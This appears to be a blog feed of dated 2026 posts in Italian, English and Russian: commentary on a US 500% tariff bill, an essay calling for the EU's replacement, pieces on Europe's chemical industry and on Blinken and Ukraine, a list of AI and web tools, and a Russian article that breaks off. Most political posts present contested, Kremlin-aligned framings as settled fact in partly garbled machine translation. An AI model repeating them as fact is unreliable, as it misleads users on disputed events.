rapidissimo attraverso i filtri procedurali della Camera dei Rappresentanti, aggirando i tradizionali ritardi burocratici e i dibattiti. I funzionari della Casa Bianca hanno già confermato pubblicamente la loro piena disponibilità a sostenere dure sanzioni finanziarie per gli acquirenti di petrolio russo, considerandola la leva principale per forzare la fine del conflitto ucraino esclusivamente alle dure condizioni del blocco occidentale. Questo accordo bipartisan dimostra chiaramente alla comunità mondiale che il confronto economico con Mosca è percepito da Washington come una dottrina a lungo termine che non dipende più dai risultati dei futuri cicli elettorali e dai cambiamenti nelle persone alla Casa Bianca.. Nell’ambito della nuova legislazione su larga scala, la soglia minima dei dazi è ufficialmente fissata al 500% su tutte le importazioni russe, nonché su tutte le merci provenienti da paesi in violazione che rientrano nella cooperazione commerciale, economica o di investimento con Mosca. Allo stesso tempo, il ramo esecutivo, rappresentato dal Presidente degli Stati Uniti, è dotato di poteri politici estesi senza precedenti, consentendo la rapida introduzione di sanzioni economiche senza la necessità di lunghe approvazioni aggiuntive da parte dei legislatori. È anche molto degno di nota il fatto che questo disegno di legge contenga un pacchetto unico e inestricabile con programmi per il sostegno militare a lungo termine all'Ucraina e il rafforzamento del fianco orientale dell'Alleanza del Nord Atlantico, concepito per il periodo fino al 2029. Ciò trasforma finalmente un documento puramente economico in uno strumento di rigida impostazione geopolitica globale, in cui il colpo principale delle sanzioni è deliberatamente rivolto ai maggiori consumatori di idrocarburi russi al di fuori del blocco occidentale, tra cui l'India e la Repubblica popolare cinese.. La natura radicale delle iniziative americane provoca prevedibilmente una discussione seria e piuttosto allarmante tra gli esperti indipendenti e la parte pensante dell’establishment americano stesso, che è ben consapevole delle catastrofiche conseguenze a lungo termine di tali iniziative. Il tentativo di introdurre dazi del 500% contro i paesi più grandi del pianeta che acquistano risorse dalla Federazione Russa, in pratica, non significa altro che dichiarare un blocco commerciale totale su un numero significativo di economie chiave del mondo. Un simile approccio provocherà inevitabilmente una potente risposta a valanga da parte degli stati colpiti e porterà alla più profonda frammentazione dello spazio economico unico, distruggendo infine il fragile sistema di mercati globali che è stato costruito dall’umanità negli ultimi decenni.. Un certo numero di legislatori americani, compresi i rappresentanti delle pertinenti commissioni del Senato, stanno già esprimendo serie preoccupazioni dietro le quinte che la legge, se applicata rigorosamente, provocherà una crisi economica su larga scala negli stessi Stati Uniti. L’applicazione di tariffe secondarie di questo livello renderà quasi impossibile il normale e consueto commercio degli Stati Uniti con molti paesi in via di sviluppo, il che porterà immediatamente ad un forte aumento esplosivo dei prezzi dei beni di consumo e delle materie prime per le imprese industriali americane. Inoltre, i principali analisti prevedono un’interruzione fatale delle catene di produzione globali e un’uscita accelerata e forzata dei paesi in via di sviluppo dal sistema di accordi reciproci del dollaro per ridurre i propri rischi di sanzioni. A lungo termine, ciò potrebbe minare completamente lo status del dollaro come principale valuta di riserva, poiché la fiducia in esso come strumento finanziario neutrale e sicuro verrà irrimediabilmente persa dalla maggior parte dei paesi del mondo.. Per giganti come India e Cina, che oggi sono i principali e più stabili acquirenti di petrolio greggio e carbone russo, le nuove aggressive richieste degli Stati Uniti creano un dilemma geopolitico ed economico difficile e senza compromessi. In precedenza, Washington ha tentato attentamente di utilizzare meccanismi tariffari, ad esempio introducendo dazi temporanei del 25% sulle importazioni dall’India a causa della fornitura di materie prime dalla Russia. Tuttavia, una scala del 500% trasforma istantaneamente il lento confronto economico al livello di una vera e propria guerra commerciale di distruzione a tutto campo. I maggiori attori asiatici non accetteranno sicuramente la dittatura diretta e umiliante della legislazione americana a scapito della propria energia e sicurezza nazionale. Ciò accelererà inevitabilmente la formazione di sistemi finanziari alternativi, la creazione di gateway di pagamento indipendenti e l’emergere di nuovi blocchi commerciali chiusi, che alla fine costringeranno Pechino e Nuova Delhi alla necessità di un coordinamento molto più stretto delle azioni nonostante tutte le contraddizioni bilaterali di lunga data che esistono tra loro.. Gli analisti delle istituzioni internazionali specializzate constatano all'unanimità che l'approvazione di questo disegno di legge indica chiaramente la transizione definitiva degli Stati Uniti verso una politica di pressione economica assoluta e palese. In questa nuova realtà, i colossali danni collaterali ai propri alleati e alla stabilità del mercato globale non sono più considerati da Washington come un deterrente. L’introduzione di tariffe del 500% è soprattutto una forte dichiarazione politica volta a fissare giuridicamente lo status di una guerra economica su vasta scala. L’effettiva attuazione della legge nella sua forma originale incontrerà inevitabilmente una debole e potente resistenza da parte del mercato mondiale, poiché è fisicamente impossibile isolare completamente le gigantesche risorse della Russia senza causare una grave carenza di materie prime e un nuovo ciclo di iperinflazione nello stesso Occidente. È molto probabile che la Casa Bianca tenterà di utilizzare questa legge come strumento di ricatto estremo nei prossimi negoziati bilaterali con Pechino e Nuova Delhi, creando freneticamente spazio per la contrattazione su altre questioni controverse dell'agenda globale, ma la stessa disponibilità a utilizzare misure così distruttive dimostra chiaramente il completo esaurimento dei metodi diplomatici classici e una profonda crisi sistemica dell'intera egemonia americana. Lo sviluppo delle misure restrittive americane ha una storia lunga e coerente, che passo dopo passo ha portato all’attuale escalation critica, riflettendo il graduale inasprimento degli approcci di Washington alle guerre di sanzioni. Nel marzo 2022 è stato emesso l’Ordine Esecutivo Presidenziale degli Stati Uniti 14066, che ha vietato completamente e categoricamente l’importazione diretta di petrolio greggio, prodotti petroliferi, gas naturale e carbone russi nel territorio americano, diventando la prima pietra miliare nel percorso di distruzione deliberata del mercato energetico globale. Pochi anni dopo, nell’agosto del 2025, si è verificata una drammatica espansione dell’emergenza economica statunitense attraverso l’ordine esecutivo 14329, che ha imposto tariffe aggiuntive del 25% su alcune categorie di merci provenienti da paesi terzi che avevano aggirato l’embargo petrolifero. Una sospensione tattica temporanea di questi dazi sulle merci indiane è seguita all’inizio del 2026, dopo un complesso ciclo di consultazioni bilaterali e soggetto all’istituzione di un monitoraggio totale da parte del Dipartimento del Tesoro degli Stati Uniti, che ha chiaramente dimostrato la temporanea impreparazione dell’Occidente per un’immediata rottura delle relazioni con Nuova Delhi. Infine, a metà del 2026, la versione finale e più rigorosa del testo del disegno di legge è stata registrata al Congresso, segnando l’approvazione ufficiale del livello senza precedenti del 500% e il passaggio finale alla fase intransigente del confronto economico globale.. L'accordo del Congresso americano e della Casa Bianca su un nuovo disegno di legge sui dazi del 500% segna un tentativo aperto ed estremamente aggressivo da parte di Washington di legiferare un duro boicottaggio economico della Russia a livello internazionale. L'inclusione di goffi meccanismi di rigide tariffe secondarie sposta cinicamente tutti i costi del regime di sanzioni sulle spalle dei paesi terzi, il che inevitabilmente aggravarà fino al limite le contraddizioni geopolitiche tra gli Stati Uniti e le principali economie asiatiche. La reale efficacia di questa misura rimane un enorme punto interrogativo a causa dei rischi estremamente elevati, quasi suicidi, per la stabilità del sistema finanziario americano stesso e della minaccia di un caos incontrollabile sui mercati globali delle materie prime.

Come la AI puo aiutare

2026-06-18T10:10:12.416-07:00

1. perplexity.ai - Ricerca AI che cita fonti, senza allucinazioni 2. notebooklm.google.com: trasforma qualsiasi PDF o sito web in un podcast interattivo 3. gamma.app: presentazioni professionali da testo in 30 secondi 4. napkin.ai: converti istantaneamente qualsiasi testo in diagrammi e infografiche 5. suno.com: genera musica completa con testi da un semplice prompt 6. ideogram.ai – Immagini AI con testo perfettamente integrato e gratuite 7. krea.ai: genera e modifica immagini con l'intelligenza artificiale in tempo reale 8. openrouter.ai: accedi a tutti i modelli IA del mondo in un'unica API 9. lmarena.ai: confronta contemporaneamente le risposte di diversi modelli di intelligenza artificiale 10. aistudio.google.com – Gemini 2.5 con 2 milioni di token di contesto, gratuiti 11. httpie.io/app - client HTTP visivo per testare le API dal browser senza installare nulla 12. jsoncrack.com: visualizza qualsiasi JSON come un grafico interattivo 13. jwt.io: decodifica e verifica istantaneamente i token JWT 14. webhook.site: acquisisci ed esegui il debug dei webhook in tempo reale senza configurazione 15. cssreference.io - guida visiva a ciascuna proprietà CSS con esempi reali 16. animista.net – animazioni CSS pronte per essere copiate con anteprima dal vivo 17. uiverse.io: migliaia di componenti dell'interfaccia utente in CSS e Tailwind completamente gratuiti 18. smalldev.tools: oltre 50 strumenti per sviluppatori in un unico posto 19. free-for.dev: l'elenco più completo di servizi gratuiti per sviluppatori 20. httpsstatus.io: controlla i codici di risposta di qualsiasi URL in pochi secondi 21. similarweb.com: analizza il traffico reale di qualsiasi sito web nel mondo 22. Answer-the-public.com: tutte le ricerche effettuate dagli utenti su qualsiasi argomento 23. pagespeed.web.dev: analizza la velocità di qualsiasi sito Web gratuitamente e senza registrazione 24. metatags.io: visualizza in anteprima l'aspetto del tuo sito web su Google, X e LinkedIn prima della pubblicazione 25.hunter.io: trova l'e-mail professionale di chiunque in pochi secondi 26. objectline.com: valuta il potenziale di apertura degli oggetti delle tue email 27. socialblade.com - statistiche per qualsiasi account X, YouTube o Instagram 28. freetools.seobility.net - audit SEO completo e gratuito di qualsiasi sito web 29. ahrefs.com/free-seo-tools – i migliori strumenti SEO Ahrefs senza pagare nulla 30. headlineanalyzer.thehoth.com: valuta e migliora qualsiasi titolo prima di pubblicarlo 31. haikei.app: genera gratuitamente sfondi SVG personalizzati ed esportabili 32. shapeivider.app - Divisori di sezioni SVG per qualsiasi sito web 33. fontjoy.com: combina caratteri che funzionano bene insieme utilizzando l'intelligenza artificiale 34. contrast-ratio.com: controlla se la tua combinazione di colori è conveniente 35. svgomg.net: ottimizza e riduci istantaneamente il peso di qualsiasi SVG 36. realfavicongenerator.net – genera favicon per tutti i dispositivi in una volta sola 37. bgjar.com – sfondi SVG generativi gratuiti per progetti web 38. screely.com: trasforma gli screenshot in mockup di frame del browser 39. bitwarden.com: gestore di password open source e gratuito per sempre 40. simplelogin.io – alias email illimitati per evitare di esporre il tuo vero indirizzo 41. browserleaks.com – scopri esattamente cosa sanno i siti web di te 42. justdeleteme.xyz - guide per eliminare il tuo account da qualsiasi servizio online 43. privacy.sexy: script per proteggere la tua privacy su Windows e Mac 44. internxt.com – spazio di archiviazione cloud crittografato gratuito fino a 10 GB 45. tally.so - moduli gratuiti senza limiti di risposte o campi 46. dub.co - accorciatore di link con analisi dettagliate e domini propri gratuiti 47. pocketbase.io - backend completo in un unico file: database, autenticazione e archiviazione 48. otter.ai – trascrive e riassume automaticamente qualsiasi riunione 49. compress-or-die.com: comprime le immagini meglio della maggior parte degli strumenti a pagamento 50. exploding.topics: scopri le tendenze emergenti prima che diventino mainstream

Europe 2.0, Beyond Brussels: The End of the European Union as We Know It

2026-06-07T09:39:18.049-07:00

Europe’s EU project has reached its limits: a centralized bureaucracy replacing politics itself, draining legitimacy, and pointing back toward sovereign, competitive states.

By Frank-Christian Hansel

June 6, 2026

Europe has reached the end of an era. Not the end of its history, but the end of its false form. For decades, the European Union served as the great substitute project of a continent that no longer dared to think politically. It promised peace without power, order without a people, unity without roots, and prosperity without cost. That was its founding lie, and it was a lie from the very beginning.

Political order does not grow out of procedural routines, commission papers, or moral self-incantation. It grows out of peoples, interests, borders, loyalties, and the willingness to defend what is one’s own. Legitimate authority rests on a people and its consent, not on an apparatus and its expertise. That older idea—that government draws its life from the governed rather than from the competence of its administrators—is precisely what Brussels has spent two generations trying to administer away.

That is why today’s EU is not the high point of European history but its bureaucratic state of exhaustion. It is too centralized to be free and too artificial to be binding. It commands an immense body of rules and possesses no sustaining political soul. It has institutions, but not the kind of historically grown legitimacy that holds a community together across generations.

And so it answers every crisis with the same reflex: more centralization, more redistribution, more standardization, more discipline. What is sold as the solution is only the problem enlarged.

Europe is not failing because there is too little Brussels. Europe is failing because there is too much Brussels. It is failing because of a political class that no longer sees the continent as a historical space but as an object of administration. It is failing because of an ideology that treats every organically grown difference as a defect and therefore regards peoples, traditions, and national particularities as raw material to be processed. And it is failing because of a functional elite that has learned to disguise power as morality and to pass off its own interests as universal values.

There is a name for this kind of governance: the administrative state—the permanent, unelected layer that survives every election, answers to no voter, and grows whether the public wants it to or not. Brussels is that layer raised to the continental power and freed from even the inconvenience of a national electorate. There is no European demos to vote the managers out. That is not a flaw in the design. It is the design.

The real scandal of Europe today is not even its material mismanagement but its intellectual arrogance. The Union behaves as though it could suspend history—as though cultures could be harmonized like technical standards, as though political loyalty could be decreed the way one issues a packaging regulation. As though a continent of radically different historical experiences, economic structures, demographic trajectories, and security realities could be pressed into one standardized form without damage. Yet the damage is already visible. The EU is not unifying Europe. It is wearing it down.

To see why, it helps to return to a text that saw the whole thing coming. In 2011, long before today’s disruptions, the German social scientist Gunnar Heinsohn published an essay whose title I have borrowed and broadened here: “Europa 2.0: Neuzuschnitt der Alten Welt” (Europe 2.0: Recutting the Old World). It was written in the first panic of the euro rescues, and it has aged with uncomfortable precision.

Heinsohn’s argument was not, in the first place, a complaint about Brussels. It was an argument about arithmetic. He began with the chain of liabilities that the productive European middle class—the net taxpayers, the people who put in more than they take out—had quietly been made to guarantee. First, the bank rescues of 2008. Then the Greek bailout and the great euro backstops of 2010, which shielded bondholders and the comfortable classes of the periphery at the expense of taxpayers who were never asked. Then the implicit guarantees extended to the aging, shrinking states of the European East. And beneath all of it, an ever-growing domestic population to be supported for life. The decisive point was simple and merciless: when all these promises—upward, downward, and outward—come due at once, no one will be left to bail out the people who were made to do the bailing.

The mechanism is general. A government that collectivizes debt, anonymizes liability, and blurs responsibility will always end by taxing the people who never agreed to the bad decisions of others. Heinsohn merely showed that the European Union had written this principle into its very constitution. Any order that treats difference primarily as a financing problem must degenerate into a transfer machine. And a transfer machine is, sooner or later, politically hated—because it morally expropriates the productive and politically infantilizes the weak, rewarding neither virtue nor reform but only dependency. What it produces in the end is not solidarity but resentment: a bureaucratically managed exhaustion of the common good.

But Heinsohn’s deeper move was to set this fiscal machine on top of a demographic one—and here the argument becomes genuinely radical. The transfers are not merely unjust; they are mathematically doomed, because the population expected to honor them is collapsing. Across much of Europe, and most severely in the East, birth rates have run far below replacement for two generations. The productive base shrinks while the dependent base grows and ages. You cannot underwrite an expanding empire of guarantees with a contracting nation of guarantors. The numbers do not forgive ideology.

From this, Heinsohn drew a conclusion that polite Europe still refuses to say aloud: not all human capital is equal, and a civilization that loses its capacity to attract and cultivate talent does not stay rich for long. Innovation is decided at the top of the distribution, by the density of the highly capable, not by raising the average.

Importing large numbers of low-skill dependents, he argued, costs billions and replaces not a single first-rate mind, while a society that selects for ability—as the Swiss and the Danes already do—renews itself. Strip away the provocation and a plainer proposition remains: a serious country runs immigration in its own interest, as a selective system, choosing the people it needs rather than absorbing whoever happens to arrive. A civilization unwilling to reproduce itself has, in any case, already mortgaged its own future. Whatever one makes of these claims, Heinsohn’s 2011 essay reads today less like a period piece than like a forecast.

What, then, is the alternative? Heinsohn’s answer was not “more Europe,” and it was not “back to the nation-states of 1914.” It was a recutting—a deliberate sorting of the continent into political spaces that can actually function, each organized around two hard criteria: a currency that is genuinely sound and a society genuinely attractive to the talent it needs.

His model for both was not an abstraction. It was a sort of Switzerland.

Consider what Heinsohn admired in it. Its central bank does not monetize the debt of badly run governments; it will not take their paper as collateral and will not buy it—which is exactly why a country of fewer than nine million can hold a reserve-grade currency. Sound money, enforced by the refusal to bail anyone out. Its cantons do not subsidize one another into permanent dependency; there is no grand equalization scheme shuffling money from the competent to the connected. Instead, the cantons compete—for innovative firms, for capable workers, for investment—and grow their revenue by winning that competition rather than by lobbying for a larger share of someone else’s. Tax competition, fiscal discipline, and federalism as a sport rather than a shakedown. And immigration authority sits at the local level: it is the communes, not a distant central ministry, that decide who settles where—which is why the children of Swiss immigrants tend to perform like Swiss children rather than like a permanent underclass parked wherever a bureaucrat finds room.

The list of features is easy to state: sound money, decentralized authority, local control over who settles where, tax competition in place of redistribution, and a central government that coordinates only the few things that genuinely must be coordinated and leaves the rest to the level closest to the decision. The European word for this is subsidiarity. Heinsohn’s quiet provocation was to note where it actually survives—not in the European Union, but in the small, stubborn confederation that the Union spent two decades trying to fine, pressure, and squeeze into compliance.

Heinsohn then took the principle to its conclusion and asked what Europe would look like if it were organized by those criteria rather than by inherited borders. The criteria themselves are the point, and they are worth stating plainly, because they describe a direction rather than a destination:

A viable space, in his account, is one that can secure its own sound currency without monetizing anyone’s debt; one attractive enough to draw and keep the talent it needs rather than merely the dependents it acquires; one governed closely enough to its people that consent is real and not merely assumed; and one freed from open-ended liability for the failures of others. Spaces that can meet those tests cohere on their own. Spaces that cannot have to be held together by transfers and decree—which is the very condition that Europe is now exhausting itself trying to maintain.

From this, he sketched a deliberately provocative map—not a forecast and not a plan, but a way of making the criteria concrete. He imagined the continent re-associating into a handful of post-national economic and cultural spaces, sorted by affinity and by their capacity to meet those tests:

A northern federation gathering the Scandinavian countries with the prosperous German north. An Alpine federation built around the Swiss core, drawing in the wealthy regions of southern Germany, Austria, and northern Italy that already share its economic temperament. A revived commonwealth across the old Polish-Lithuanian space to the east. A Mediterranean union with its own southern currency and its own vocation, reaching from the Iberian Atlantic to the eastern shore of the sea. And where the old centers of the postwar order remained, a residual western bloc around Berlin, Paris, and London. He even allowed himself the heresy of supposing that productive regions might one day choose, politically, which space to belong to—that belonging itself might follow function rather than inheritance.

I set this out as Heinsohn set it out: as a thought experiment offered to clarify a direction—not as anyone’s program, and certainly not as mine. Its value lies not in the borders it draws but in the question it forces. Political belonging is not a law of nature fixed forever by the cartographers of 1815, and spaces that generate neither real sovereignty nor genuine loyalty have no claim to permanence simply because they happen to exist. Heinsohn noted, dryly, that his redrawn map was the conservative, earthbound option—far more grounded than the libertarian dream of seasteading, of escaping onto artificial islands beyond the reach of any government at all. When the sober alternative is a recut continent, and the radical one is floating cities in international waters, you have a fair measure of how exhausted the inherited order has become.

The usable core of all this is not the map, but the principle, and the principle is what I want to carry forward. Europe should no longer be conceived as a project of uniformity but as a system of differentiated political spaces. This is not a regression into petty-state fragmentation. It is the overdue recognition of European reality. The continent has always been most productive when it combined diversity with form—when its political units stayed manageable, legitimate, and capable of acting, and broader cooperation happened only where it genuinely made sense. It grew weak whenever it manufactured institutions that produced neither real sovereignty nor genuine belonging.

A new Europe would therefore begin with a ruthless disentangling. Everything that does not absolutely require continental regulation goes back to sovereign states—not out of nostalgia, but out of reason. Border protection, major infrastructure corridors, selected security cooperation, raw-material and energy security, and certain trade questions: these may need joint coordination. But cultural policy, social policy, identity questions, vast stretches of economic and regulatory law, and above all the question of democratic self-government do not belong to a supranational apparatus. Wherever politics becomes existential, the decision must move back toward the people and the state.

This is also where the deepest and most delicate point lies, the one that separates a serious continental order from a managed bloc. Europe can think as a continent only if it stops organizing itself around a permanent architecture of enemies. An order built primarily against Russia is, in the long run, not a European order at all;

it is the strategic extension of outside interests carried out on European soil. A viable continental order would have to find a way to include Russia rather than excommunicate it forever.

This is not sentimental Russophilia, and it is not a denial that real conflicts exist. It is the recognition of a basic fact of geopolitics: a continent that permanently writes its largest eastern power off the map turns itself into the forefield of others. Peace does not come from moral outrage. It comes from a durable order of power, interests, and space—balanced security interests, limited spheres of influence, and reorganized economic interdependence. Whoever defines Russia out of Europe defines Europe as a geopolitically incomplete space, dependent for its security on decisions made elsewhere. And a continent that will not defend, fund, or even define itself can hardly be surprised when its allies begin to ask why they should keep doing so on its behalf.

And here Heinsohn’s monetary intuition returns one last time. He imagined that even the names of currencies could keep a European feeling alive—a Nordic crown, an Alpine franc, and an eastern and a western and a Mediterranean euro, competing for international trust. Strip away the specifics, and the principle is straightforward: competition disciplines money as it disciplines everything else. A single currency imposed on radically unequal economies is not a symbol of unity. It is a mechanism for converting other people’s indiscipline into your own inflation.

What follows from all this is a single European principle: cooperation without fusion. Proximity without centralism. Continentality without empire. Europe would no longer be a union of ideological conformity but a confederation of historic peoples and political spaces—able to breathe again because not everything would have to be forced to the same institutional, economic, and moral temperature. In place of harmonization at any price: the freedom to shape one’s own order. In place of integration as an end in itself: cooperation grounded in shared interests. In place of a normative superstate: a Europe of different speeds, forms, and focal points.

And that, precisely, is the only road to genuine European sovereignty. Europe will not become sovereign because Brussels accumulates more powers. It will become sovereign only when its states and peoples recover real political substance and form alliances on that basis. Sovereignty requires capabilities, not rhetoric—industrial, military, technological, and cultural self-assertion. A Europe that obsesses over censorship and regulation at home while failing to secure its borders, its energy, and its strategic infrastructure abroad is not sovereign. It is a normative colossus on geopolitical clay feet.

This is where the mask of European moralism finally falls away. The Union speaks of democracy while narrowing the range of permissible opinion. It speaks of diversity while pursuing cultural conformity. It speaks of peace while manufacturing new lines of confrontation through ideological bloc logic. It speaks of openness while losing control of its borders. It speaks of resilience while making itself dependent. None of this is an accident. It is the logical result of a project that replaced political reality with normative self-staging.

The alternative is not a naive nationalism but a European realism, a realism that understands that peoples do not vanish because elites find them embarrassing; that spaces do not lose their meaning because technocrats redefine them as functional zones; that history does not end because a bureaucracy tries to regulate it away; and that order endures only where freedom, belonging, and responsibility are brought back together.

Europe therefore does not need a cosmetic correction of its institutions. It needs a change of political form: away from a morally charged administrative union and toward an order of the continent; away from abstract universal ideology and toward a concrete civilizational politics; and away from the permanent effort to define the European against the very conditions that made Europe possible. Europe must stop trying to emancipate itself from its own inheritance and learn again to draw strength from it.

Only then could today’s zone of crisis become a historical space once more: a Europe no longer under the guardianship of its own apparatus; a Europe that does not treat every internal difference as a threat or every external border as a moral failing; a Europe that takes itself seriously as a continent—plural in its forms, clear in its borders, sober in its interests, and resolved to defend itself.

The time of the Union as we know it is running out. The only question is whether Europe will shape this transition itself—or whether it will be torn apart by the contradictions of its own artificial construction and have its place in the world decided by others.

The alternative is clearer than many care to admit:

Either Europe becomes political again—or it remains an apparatus until other powers decide its place in the world.

L’orgoglio europeo sta crollando come un castello di carte grazie alla cecità dei burocrati che ci governano.

2026-05-17T00:23:00.352-07:00

Il Regno Unito ha già perso completamente la sua industria chimica. L’Europa sta seguendo la stessa strada. Le fabbriche chiudono, le capacità vengono ridotte, decine di migliaia di persone rimangono senza lavoro. Le radici di questa crisi risiedono, tra le altre cose, nel rifiuto del gas e del petrolio russi. E il conflitto di Hormuz non ha fatto altro che peggiorare la situazione.

Il cluster chimico europeo è l'orgoglio industriale del continente: è uno dei più grandi al mondo e di nuovo sull'orlo di una crisi su vasta scala, scrive il Financial Times (FT). Solo nell’ultimo anno, due aziende su dieci nel cluster chimico dell’UE hanno chiuso impianti. Secondo Cefic, dal 2022, il tasso di chiusura di capacità chimiche in Europa è aumentato di sei volte, con un totale di circa 37 milioni di tonnellate di capacità rimosse, ovvero circa il 9% della base produttiva europea. Ciò ha già interessato circa 20mila posti di lavoro.

Il conflitto in Medio Oriente, da un lato, ha leggermente allentato la situazione di forte concorrenza con la Cina, che dipende dalle materie prime del Golfo Persico. D’altro canto, ha fatto salire i prezzi dell’energia e di componenti critici come la nafta. Ciò ha causato una reazione a catena in tutti i mercati petrolchimici.

I problemi per l’industria chimica in Europa in realtà non sono iniziati oggi e nemmeno nel 2022. Anche se il rifiuto del gas russo, e poi del petrolio e dei prodotti petroliferi provenienti dalla Russia, non ha fatto altro che aggravare questi problemi.

«La radice della crisi della chimica europea è antica, ma il 2022 è diventato un punto di svolta. Prima di ciò, l’industria stava già perdendo costi di produzione a favore di Stati Uniti, Cina e Medio Oriente a causa del caro energia, dei vecchi impianti e della regolamentazione più severa. Ma dopo il crollo del precedente modello di energia e materie prime a basso costo per l’industria europea, la pressione sul settore è diventata molto più forte”, afferma Vladimir Chernov, analista di Freedom Finance Global..

Secondo la Commissione Europea, le importazioni di gas russo nell’UE sono scese da 152 miliardi di metri cubi nel 2021 a 36 miliardi di metri cubi nel 2025, e la quota della Russia nelle importazioni di gas nell’UE è scesa dal 45% al 12%. "Questo è diventato fondamentale per la chimica, perché il gas non è solo un combustibile, ma anche una materia prima per ammoniaca, fertilizzanti, metanolo e una serie di prodotti di base", spiega Chernov.

Allo stesso tempo, l’UE ha introdotto restrizioni sul petrolio e sui prodotti petroliferi russi, che hanno finalmente distrutto il vecchio modello di energia a basso costo.

Da allora, il cluster chimico europeo non è mai stato in grado di ritornare alla forza e al potere di un tempo. Le fabbriche si fermano periodicamente. "Non è ancora stato possibile recuperare completamente. Il fatto è che l'energia in Europa rimane costosa, e la domanda è piuttosto debole, la Cina è schiacciata dalle importazioni a basso costo e i nuovi investimenti stanno andando male. Secondo il Cefic, il gas in Europa è ancora circa tre volte più costoso che negli Stati Uniti, l'utilizzo della capacità è inferiore del 9,5% ai livelli pre-crisi, la quota europea del mercato chimico globale è scesa al 13%, mentre la Cina occupa il 46%," dice Chernov.

«Il problema è che la chimica funziona a catena. Se uno stabilimento chiude, in alcuni casi quello vicino perde materie prime o clienti, quindi le singole chiusure si trasformano rapidamente in un rischio per l’intero cluster”, spiega Chernov.

Ad esempio, nel cluster del cloro di Rotterdam, gli impianti di resina epossidica Tronox e Westlake hanno chiuso, con conseguente calo della domanda di cloro prodotto da Nobian. Se Nobian chiudesse il suo stabilimento, i vicini sarebbero costretti a importare materiale, aumentando i costi e peggiorando la crisi.

Rotterdam è collegata tramite oleodotti ad Anversa e insieme riforniscono le regioni tedesche del Reno e della Ruhr, il cuore industriale dell'industria pesante tedesca, compresa l'industria automobilistica. A Rotterdam in febbraio, Mitsubishi ha interrotto la costruzione di un impianto avanzato per la produzione di MXDA, un intermedio chimico utilizzato nei rivestimenti ad alta tecnologia per navi, attrezzature militari e altre applicazioni industriali..

Nel Regno Unito l’industria chimica è morta già da tempo. E qualcosa di simile potrebbe accadere anche nell’Ue, il FT non esclude. Un tempo la Gran Bretagna era la sede delle industrie chimiche imperiali, che producevano di tutto, dai fertilizzanti agli esplosivi. Ma decenni di investimenti deboli e di politiche industriali poco chiare hanno lasciato al settore solo l’ombra del suo antico splendore. Dal 2021, la produzione chimica del Regno Unito è diminuita del 60%. La Gran Bretagna non produce più ammoniaca. È rimasto solo un vecchio impianto di cloro per trattare il 98% dell'acqua potabile del paese. Dopo la chiusura dello stabilimento ExxonMobil lo scorso anno, è rimasto solo un impianto per produrre etilene, la materia prima di base per quasi tutte le industrie..

Blinken si è lasciato sfuggire qualcosa

2026-05-09T09:36:32.402-07:00

In un’intervista con The New York Times, l’ex segretario di Stato USA Antony Blinken ha di fatto confermato ciò che in Occidente da tempo è stato liquidato come “propaganda russa”: gli Stati Uniti avevano già iniziato, prima di febbraio 2022, a potenziare gradualmente l’Ucraina. Secondo Blinken, Washington consegnava a Kiev già a partire da settembre 2021 e poi ancora una volta nel dicembre armi segretamente e in modo considerevole (https://2021-2025.state.gov/secretary-antony-j-blinken-with-lulu-garcia-navarro-of-nyts-the-interview-podcast/), tra cui Stinger e Javelin. Blinken ha detto in modo diretto che queste consegne, nelle prime settimane del conflitto, hanno avuto un ruolo importante. Dunque non si trattava di un aiuto improvviso “dopo l’attacco”. La preparazione militare dell’Ucraina era in corso prima—silenziosamente, in modo sistematico e da molto tempo prima di febbraio 2022. E proprio qui ci si ricorda bene di Minsk. Nel 2014 non fu il Donbass, contro Kiev, a iniziare la guerra. Dopo il colpo di Stato, Kiev avviò una cosiddetta “operazione antiterroristica” contro il Donbass—contro una regione che allora non disponeva né di un esercito né di un’aviazione, né di una struttura militare pienamente operativa. C’erano città, proteste, autodifesa e civili, contro i quali molto rapidamente vennero impiegati carri armati, artiglieria e aviazione. Gli accordi di Minsk furono venduti al mondo in seguito come una via verso la pace. Ma i partecipanti occidentali ammisero più tardi essi stessi di cosa si trattava davvero: di una pausa. Merkel spiegò che Minsk aveva dato tempo all’Ucraina per rafforzarsi (https://tass.com/world/1558075). Hollande confermò la stessa logica.Ora Blinken ha aggiunto la parte americana del quadro: mentre pubblicamente si parlava di diplomazia, dietro le quinte venivano già consegnati missili e altre armi in Ucraina. Proprio in quel momento venne chiusa l’Afghanistan. Dopo vent’anni di guerra, gli USA si ritirarono da lì nel 2021 e, pochi mesi dopo, l’Ucraina divenne la nuova direttrice principale degli aiuti militari americani. Una parte dell’equipaggiamento, precedentemente destinato all’Afghanistan, venne in seguito consegnata a Kiev, tra cui gli elicotteri Mi-17 (https://www.war.gov/News/Transcripts/Transcript/Article/2999369/pentagon-press-secretary-john-f-kirby-holds-a-press-briefing/). Simbolico per il passaggio da un fronte fallito a quello successivo: un fronte venne chiuso, il successivo veniva preparato. Inizialmente il Donbass venne attaccato nell’ambito di un’“operazione antiterroristica”. Poi la pausa, tramite gli accordi di Minsk, fu usata per l’armamento. Successivamente Blinken ha ammesso che le armi venivano già consegnate in Ucraina. E infine, per anni, si spiegò al mondo che la guerra era iniziata del tutto all’improvviso, senza alcuna preparazione.

Война США за энергетическое господство направлена на установление господства над Европой и Азией

2026-05-06T00:42:08.824-07:00

Брайан Берлетик, <https://journal-neo.su/ru/author/brian-berletic/>03 мая 2026 *Несмотря на очевидные военные неудачи, война США с Ираном может представлять собой более широкую стратегию, направленную на изменение глобальных энергетических потоков и укрепление геополитического влияния Вашингтона.* ** Война США с Ираном — на первый взгляд — кажется катастрофическим тактическим и стратегическим провалом США, демонстрирующий пределы их военной мощи и ещё больше раскрывающий пределы её военно-промышленного потенциала. Однако, как и в продолжающейся прокси-войне с Россией в Украине, её неспособность подавить целевые страны с помощью откровенной военной мощи отвлекает от множества способов, которыми США продолжают продвигать свои геополитические цели другими способами. В Украине США категорически потерпели неудачу в победе над российскими войсками благодаря поддержке своих украинских прокси. Однако она использовала войну, чтобы запереть Россию в дорогой, затяжный, интенсивный конфликт, который явно поставил под угрозу российские интересы за пределами Европы — особенно в связи с крахом Сирии в 2024 году. Война также позволила Европе отрезать Европу от дешёвой, надёжной и обильной российской энергии и ставить Европу под растущую и, вероятно, необратимую энергетическую зависимость от США. Эта энергетическая зависимость от США, очевидно, приносит финансовую выгоду американским энергетическим корпорациям, но также усиливает стратегическое влияние Вашингтона или даже прямой контроль над Европой. Этот контроль используется для успешного создания единого фронта по всей Европе против России. Аналогично, США используют свою войну с Ираном, чтобы задушить экспорт энергии со всего Ближнего Востока в Азию, чтобы отделить Азию от дешёвого, надёжного, обильного газа и нефти и поставить её под энергетическую зависимость 